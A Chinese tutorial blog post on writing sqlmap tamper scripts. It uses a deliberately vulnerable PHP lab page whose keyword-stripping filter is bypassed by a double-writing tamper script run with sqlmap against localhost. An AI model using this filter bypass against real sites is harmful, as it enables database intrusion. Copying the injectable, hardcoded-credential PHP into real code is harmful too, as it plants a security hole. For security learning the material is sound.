SQLMAP --TAMPER的编写

news/2024/10/17 12:19:13/

跟着师傅的文章进行学习

sqlmap之tamper脚本编写_sqlmap tamper编写-CSDN博客

这里学习一下tamper的编写

这里的tamper 其实就是多个绕过waf的插件 通过编写tamper 我们可以学会

在不同过滤下 执行sql注入

我们首先了解一下 tamper的结构

这里我们首先看一个最简单的例子

from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():pass
def tamper(payload,**kwargs):return payload.replace("'","\\'").replace('"','\\"')

这里的例子我们可以发现

我们可以通过设置
 

__priority__: 当多个tamper被使用时的优先级(LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)tamper  对payload的处理 这里是将 双引号 单引号都加上 \\

我们来根据题目进行测试吧

function sqlwaf( $str ) {$str = str_ireplace( "and", "", $str );$str = str_ireplace( "or", "", $str );$str = str_ireplace( "union", "", $str );$str = str_ireplace( "select", "", $str );$str = str_ireplace( "sleep", "", $str );$str = str_ireplace( "group", "", $str );$str = str_ireplace( "extractvalue", "", $str );$str = str_ireplace( "updatexml", "", $str );$str = str_ireplace( "PROCEDURE", "", $str );return $str;
}

增加过滤 将这些替换为空 这里其实我们本身已经知道如何注入了 双写绕过即可

<?php
echo '<h1>参数是 id 方式是GET</h1>';
$dbhost = '172.18.224.108';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
function sqlwaf( $str ) {$str = str_ireplace( "and", "", $str );$str = str_ireplace( "or", "", $str );$str = str_ireplace( "union", "", $str );$str = str_ireplace( "select", "", $str );$str = str_ireplace( "sleep", "", $str );$str = str_ireplace( "group", "", $str );$str = str_ireplace( "extractvalue", "", $str );$str = str_ireplace( "updatexml", "", $str );$str = str_ireplace( "PROCEDURE", "", $str );return $str;
}
// 设置编码,防止中文乱码
mysqli_query($conn , "set names utf8");
$a = sqlwaf($_GET['id']);
echo $d;
if($a){$sql = "SELECT * FROM user where id = '$a'";
}mysqli_select_db( $conn, 'test' );
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{die( mysqli_error($conn));
}
echo '<h2>SQL 注入测试</h2>';
echo '<table border="1"><tr><td>ID</td><td>NAME</td><td>PASSWD</td>';
while($row = mysqli_fetch_array($retval, MYSQLI_NUM))
{echo "<tr><td> {$row[0]}</td> "."<td>{$row[1]} </td> "."<td>{$row[2]} </td> "."</tr>";
}
echo '</table>';
mysqli_close($conn);
?>

但是我们如何在tamper中体现呢

我们首先进行正常注入看看是否成功

发现这里就注入失败了 无法实现注入

所以我们开始修改tamper

from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():pass
def tamper(payload,**kwargs):return payload.replace("OR","oorr").replace('UNION','uniunionon').replace('SELECT','selselectect').replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")

 就是很简单的对payload进行操作 将所有过滤的内容实现绕过即可

然后我们再次进行注入

py3 .\sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1%27--tamper=waf1.py -v3

注入成功

这是最简单的 tamper 后续写就要按照题目来了


http://www.ppmy.cn/news/1222821.html

相关文章

C++知识点梳理:C++ templates

c模板包括&#xff1a;类模板、类&#xff08;非模板类和模板类&#xff09;方法模板、函数模板、别名模板、变量模板。 类模板模板参数列表说明&#xff1a; 1&#xff09;类定义 仅模板参数列表声明&#xff0c;template<>行。 类名后无需参数说明<>。 2&#xf…

idea查看UML类图

idea查看UML类图 一、如何查看UML类图 1.1 选择需要查看的类或者包&#xff0c;鼠标右键&#xff0c;选择Diagrams->Show Diagram 1.2 对于UML类图中的包&#xff0c;选中后点击鼠标右键-> Expand Nodes(展开节点) 展开前 展开后 1.3 展开后分布比较凌乱&#xff…

2023年第九届数维杯国际大学生数学建模挑战赛A题

2023年第九届数维杯国际大学生数学建模挑战赛正在火热进行&#xff0c;小云学长又在第一时间给大家带来最全最完整的思路代码解析&#xff01;&#xff01;&#xff01; A题思路解析如下&#xff1a; 完整版解题过程及代码&#xff0c;稍后继续给大家分享~ 更多题目完整解析点…

前端安全策略保障

文章目录 前言后台管理系统网络安全XSSCSRFSQL注入 后言 前言 hello world欢迎来到前端的新世界 &#x1f61c;当前文章系列专栏&#xff1a;前端系列文章 &#x1f431;‍&#x1f453;博主在前端领域还有很多知识和技术需要掌握&#xff0c;正在不断努力填补技术短板。(如果出…

Mindomo Desktop for Mac(免费思维导图软件)下载

Mindomo Desktop for Mac是一款免费的思维导图软件&#xff0c;适用于Mac电脑用户。它可以帮助你轻松创建、编辑和共享思维导图&#xff0c;让你的思维更加清晰、有条理。 首先&#xff0c;Mindomo Desktop for Mac具有直观易用的界面。它采用了Mac独特的用户界面设计&#xf…

windows10通过L2TP VPN隧道连接到企业内网

L2TP协议通过为数据包创建一个虚拟通道&#xff0c;将数据从一个网络传输到另一个网络&#xff0c;而不用担心数据在途中被窃取或篡改。它创建一个点对点的隧道&#xff0c;通过封装PPP&#xff08;Point-to-Point Protocol&#xff09;数据包在其内部进行传输&#xff0c;极大…

2.2 Windows驱动开发:内核自旋锁结构

提到自旋锁那就必须要说链表&#xff0c;在上一篇《内核中的链表与结构体》文章中简单实用链表结构来存储进程信息列表&#xff0c;相信读者应该已经理解了内核链表的基本使用&#xff0c;本篇文章将讲解自旋锁的简单应用&#xff0c;自旋锁是为了解决内核链表读写时存在线程同…

2023-11-17 VsCode使用makefile进行多文件编译

点击 <C 语言编程核心突破> 快速C语言入门 VsCode使用makefile进行多文件编译 前言一、一个简单的多文件示例二、makefile基本语法三、VsCode使用makefile总结 前言 要解决问题: C或C可以多文件编译, 意味着需要进行代码组织, 为了方便多文件编译, gnu开发了make工具, …